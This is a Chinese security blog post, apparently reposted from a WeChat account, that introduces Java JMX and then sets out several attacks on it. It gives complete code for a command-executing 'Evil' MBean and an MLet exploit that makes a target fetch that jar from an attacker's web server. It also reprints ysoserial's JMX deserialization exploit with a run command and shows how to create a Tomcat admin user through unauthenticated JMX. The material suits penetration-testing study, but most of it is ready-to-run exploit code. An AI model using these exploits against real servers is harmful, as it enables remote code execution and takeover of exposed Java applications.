【JMX】- 介绍及攻击Java JMX

admin 2022年10月29日20:14:16评论221 views字数 11031阅读36分46秒阅读模式

前言JMX介绍    1. JMX代码演示及架构    2. 使用jconsole图形工具监视、管理JMX使用MLet攻击JMX    1. 介绍MLet及攻击过程    2. MLet攻击示例代码    3. 小结通过MBean方法参数反序列化攻击JMX    1. JMX调用MBean的流程    2. 反序列化攻击代码    3. 小结其他反序列化攻击JMX的方式利用中间件等的特殊MBean攻击JMX    1. 通过JMX攻击Tomcat        环境配置        获取已有用户的密码        添加管理员角色用户参考链接

前言

本文对JMX进行介绍,分析JMX的各个攻击面,最后学习各个中间件中存在的JMX相关漏洞。

JMX介绍

JMX(Java ManagementExtensions)是一种Java技术,为管理监视应用程序、系统对象、设备(如打印机)和面向服务的网络提供相应的工具。

JMX可以被理解为SNMP(简单网络管理协议)的“Java版本”。SNMP主要用于监控网络组件,如网络交换机或路由器。

与SNMP一样,JMX也用于监视基于Java的应用程序。JMX最常见的应用场景,就是在Nagios、Icinga或Zabbix等集中式监控解决方案中用于监控Java应用服务器的可用性和性能。

1. JMX代码演示及架构

先贴一张JMX的架构图,后面结合代码demo进行讲解。

【JMX】- 介绍及攻击Java JMX

以下项目启动一个基于RMI的JMX服务,并注册一个MBean。

项目结构:

├── HelloWorldMBean.java
├── HelloWorld.java
└── jmxDemo.java

HelloWorldMBean.java

package com.example;

public interface HelloWorldMBean {
   public void sayhello();
   public int add(int x, int y);
   public String getName();
}

HelloWorld.java

package com.example;

public class HelloWorld implements HelloWorldMBean {
   private String name = "com.example";

   @Override
   public void sayhello() {
       System.out.println("hello world " + this.name);
  }

   @Override
   public int add(int x, int y) {
       return x + y;
  }

   @Override
   public String getName() {
       return this.name;
  }
}

jmxDemo.java

package com.example;

import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jmxDemo {
   public static void main(String[] args) throws Exception {
       MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
       ObjectName objectName = new ObjectName("test:type=HelloWorld");
       HelloWorld mbean = new HelloWorld();
       mBeanServer.registerMBean(mbean, objectName);

       Registry registry = LocateRegistry.createRegistry(1099);

       JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:1099/jmxrmi");
       JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
       jmxConnectorServer.start();
       System.out.println("Server start...");
  }


}

结合上面的架构图及demo代码,可以看到整个JMX分为三层。

  • Probe Level

实例化HelloWorldMBean类为mbean。

主要关注两种类型的mbean。

standard MBean:它能管理的资源(包括属性,方法,时间)必须定义在接口中,实例化的MBean必须实现这个接口。它的命名也必须遵循一定的规范,例如我们的MBean为Hello,则接口必须为HelloMBean。

dynamic MBean:必须实现javax.management.DynamicMBean接口,所有的属性,方法都在运行时定义。

  • Agent Level

创建了 MBeanServer 实例。

主要提供对资源的注册和管理。注册了mbean(具有唯一ObjectName)。

  • Remote Management Level

创建了JMXServiceURL,绑定到本地1099端口的RMI服务(基于RMI服务的),关联到MBeanServer。

2. 使用jconsole图形工具监视、管理JMX

jconsole是基于JMX的可视化监视、管理工具,该工具是JDK的一部分,可以通过如下命令运行:

"%JAVA_HOME%/bin/jconsole.exe"
or
javaw -jar "%JAVA_HOME%/lib/jconsole.jar"

本地可以通过进程方式进行连接,远程可以通过ip:port方式进行连接。

【JMX】- 介绍及攻击Java JMX

可以用来获取/设置bean属性,或调用方法。存在其他默认的mbean对象实例。

使用MLet攻击JMX

1. 介绍MLet及攻击过程

Mlet是一个类:javax.management.loading.MLet,这是一个mbean(实现接口MLetMBean)。该mbean存在一个方法getMBeansFromURL,可以从远程mlet server加载mbean。

通过MLet这个mbean的函数功能我们就能得出使用MLet攻击JMX的攻击过程:

  1. 启动托管MLet文件和含有恶意MBean的JAR文件的Web服务器

  2. 使用JMX在目标服务器上创建MBean javax.management.loading.MLet的实例

  3. 调用MBean实例的getMBeansFromURL方法,将Web服务器的MLet文件URL作为参数进行传递。JMX服务将连接到http服务器并解析MLet文件

  4. JMX服务下载并归档MLet文件中引用的JAR文件中的恶意MBean,使恶意MBean可通过JMX获取

  5. 攻击者最终通过JMX调用恶意MBean的方法达到攻击目的

2. MLet攻击示例代码

首先创建恶意jar文件,将下面的恶意mbean打包成Evil.jar

EvilMBean.java

package com.mlet.example;

public interface EvilMBean {
   public String runCommand(String cmd);
}

Evil.java

package com.mlet.example;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Evil implements EvilMBean {
   public String runCommand(String cmd)
  {
       try {
           Runtime rt = Runtime.getRuntime();
           Process proc = rt.exec(cmd);
           BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
           BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
           String stdout_err_data = "";
           String s;
           while ((s = stdInput.readLine()) != null)
          {
               stdout_err_data += s+"n";
          }
           while ((s = stdError.readLine()) != null)
          {
               stdout_err_data += s+"n";
          }
           proc.waitFor();
           return stdout_err_data;
      }
       catch (Exception e)
      {
           return e.toString();
      }
  }
}

MLet文件是一个类似于HTML的文件,可以通过Web服务器提供。

mlet.txt

<html><mlet code="com.mlet.example.Evil" archive="Evil.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>

code="com.mlet.example.Evil"为恶意mbean的路径;

archive="Evil.jar"为恶意mbean的jar包;

name="MLetCompromise:name=evil,id=1"可自定义,遵循OBjectname规则;

codebase="http://127.0.0.1:4141"访问为jar包的url。

Evil.jarmlet.txt放在同一目录,python3 -m http.server 4141启动web服务。

web服务准备完毕,运行如下代码攻击JMX。

ExploitJMXByRemoteMBean.java

package com.mlet.example;

import javax.management.InstanceAlreadyExistsException;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator;

public class ExploitJMXByRemoteMBean {
   public static void main(String[] args) throws MalformedURLException {
       connectAndOwn("127.0.0.1", "1099", "ipconfig");
  }

   static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {
       try {
           // step1. 通过rmi创建 jmx连接
           JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
           System.out.println("URL: " + u + ", connecting");
           JMXConnector c = JMXConnectorFactory.connect(u);
           System.out.println("Connected: " + c.getConnectionId());
           MBeanServerConnection m = c.getMBeanServerConnection();

           // step2. 加载特殊MBean:javax.management.loading.MLet
           ObjectInstance evil_bean = null;
           ObjectInstance evil = null;
           try {
               evil = m.createMBean("javax.management.loading.MLet", null);
          } catch (javax.management.InstanceAlreadyExistsException e) {
               evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
          }
           // step3:通过MLet加载远程恶意MBean
           System.out.println("Loaded "+evil.getClassName());
           Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
                          { "http://192.168.118.1:4141/mlet.txt" },
                   new String[] { String.class.getName() } );

           HashSet res_set = ((HashSet)res);
           Iterator itr = res_set.iterator();
           Object nextObject = itr.next();
           // 如果恶意mbean已经存在,则直接获取
           if (nextObject instanceof InstanceAlreadyExistsException)
          {
               //
               evil_bean = m.getObjectInstance(new ObjectName("MLetCompromise:name=evil,id=1"));
          } else if (nextObject instanceof Exception) {
               throw ((Exception)nextObject);
          } else {
               evil_bean = ((ObjectInstance)nextObject);
          }

           // step4: 执行恶意MBean
           System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
           System.out.println("Calling runCommand with: "+command);
           Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
           System.out.println("Result: "+result);
      } catch (Exception e)
      {
           e.printStackTrace();
      }
  }
}

3. 小结

该攻击方法在启用JMX身份验证时受限制。启用身份验证后的主要影响有两点,一是使用JMX服务时必须提供相应的凭证,二是无法调用getMBeansFromURL

所以在启用JMX身份验证之后,还必须设置jmx.remote.x.mlet.allow.getMBeansFromURL=true才能调用getMBeansFromURL,MBeanServerAccessController 的部分实现细节:

final String propName ="jmx.remote.x.mlet.allow.getMBeansFromURL";
GetPropertyAction propAction = new GetPropertyAction(propName);
String propValue = AccessController.doPrivileged(propAction);
boolean allowGetMBeansFromURL ="true".equalsIgnoreCase(propValue);
if (!allowGetMBeansFromURL) {
    throw new SecurityException("Access denied! MLet method " +
            "getMBeansFromURLcannot be invoked unless a " +
            "security manageris installed or the system property " +
            "-Djmx.remote.x.mlet.allow.getMBeansFromURL=true" +
            "isspecified.");
}

通过MBean方法参数反序列化攻击JMX

1. JMX调用MBean的流程

JMX调用远程MBean方法的流程可以简单概括:

  1. MBean nameMBean Function Nameparams发送给远程rmi server,其中params的处理需要注意下,先转为MarshalledObject,再writeObject为String对象,然后进入网络传输;

  2. RMI Server监听到网络请求包含MBean nameMBean Function Nameparams,其中params经过MarshalledObject.readObject()反序列化,再通过invoke调用原函数。

攻击者只需传递恶意对象作为参数,而不仅限于传递String。JMX使得这一切变得非常容易,因为用于调用远程MBean方法的MBeanServerConnection.invoke方法需要传递两个数组,一个是参数,一个是参数的签名。只需参数签名(String.class.getName())校验成功即可

2. 反序列化攻击代码

ysoserial中已经集成该payload:

ysoserial.exploit.JMXInvokeMBean

package ysoserial.exploit;

import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

import ysoserial.payloads.ObjectPayload.Utils;

/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {

public static void main(String[] args) throws Exception {

if ( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
 
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
       
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);  
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");

mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});

//close the connection
jmxConnector.close();
  }
}

需要在启动的JMX项目里添加相关的gadget,这里使用CommonsCollections7这条链,将commons-collections 3.1添加到JMX项目依赖中。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JMXInvokeMBean 127.0.0.1 1099 CommonsCollections7 calc

3. 小结

使用java.util.logging:type=Logging比较通用,换其他ObjectName也行,比如com.sun.management:type=DiagnosticCommand

getLoggerLevel为read操作,不会影响到系统,getParentLoggerLevel、setLoggerLevel也都可以。

其他反序列化攻击JMX的方式


利用中间件等的特殊MBean攻击JMX

1. 通过JMX攻击Tomcat

环境配置

Tomcat中默认不开启JMX服务,需要在catalina.bat中配置启动参数(参考文章 https://www.linuxidc.com/Linux/2019-12/161854.htm ):

set "CATALINA_OPTS=%CATALINA_OPTS% -Dcom.sun.management.jmxremote -DJava.rmi.server.hostname=0.0.0.0 -Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false"
rem   CATALINA_OPTS   (Optional) Java runtime options used when the "start",
rem                   "run" or "debug" command is executed.
rem                   Include here and not in JAVA_OPTS all options, that should
rem                   only be used by Tomcat itself, not by the stop process,
rem                   the version command etc.
rem                   Examples are heap size, GC logging, JMX ports etc.

9999端口启动一个无认证的JMX服务。

使用jconsole连接到本地tomcat启动的JMX服务。

获取已有用户的密码

本地环境需要先在tomcat-users.xml中配置登录用户及角色。

【JMX】- 介绍及攻击Java JMX

添加管理员角色用户

Users->UserDatabase节点下,创建用户:

【JMX】- 介绍及攻击Java JMX

Users->UserDatabase节点下,创建角色(这里我已经存在manager-gui角色了):

【JMX】- 介绍及攻击Java JMX

Users->User->[用户名]节点下,将创建的用户与创建的角色关联:

【JMX】- 介绍及攻击Java JMX

保存配置:

【JMX】- 介绍及攻击Java JMX

就可以使用创建的用户登录manager。

参考链接

https://m0d9.me/2020/05/25/JMX%E7%B3%BB%E5%88%97%EF%BC%9A%E4%BB%80%E4%B9%88%E6%98%AFJMX%EF%BC%88%E4%B8%80%EF%BC%89/

https://nosec.org/home/detail/2544.html

https://www.hacking8.com/bug-product/Tomcat/%E9%80%9A%E8%BF%87jmx%E6%94%BB%E5%87%BBTomcat.html


原文始发于微信公众号(信安文摘):【JMX】- 介绍及攻击Java JMX

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月29日20:14:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【JMX】- 介绍及攻击Java JMXhttps://cn-sec.com/archives/1379807.html

发表评论

匿名网友 填写信息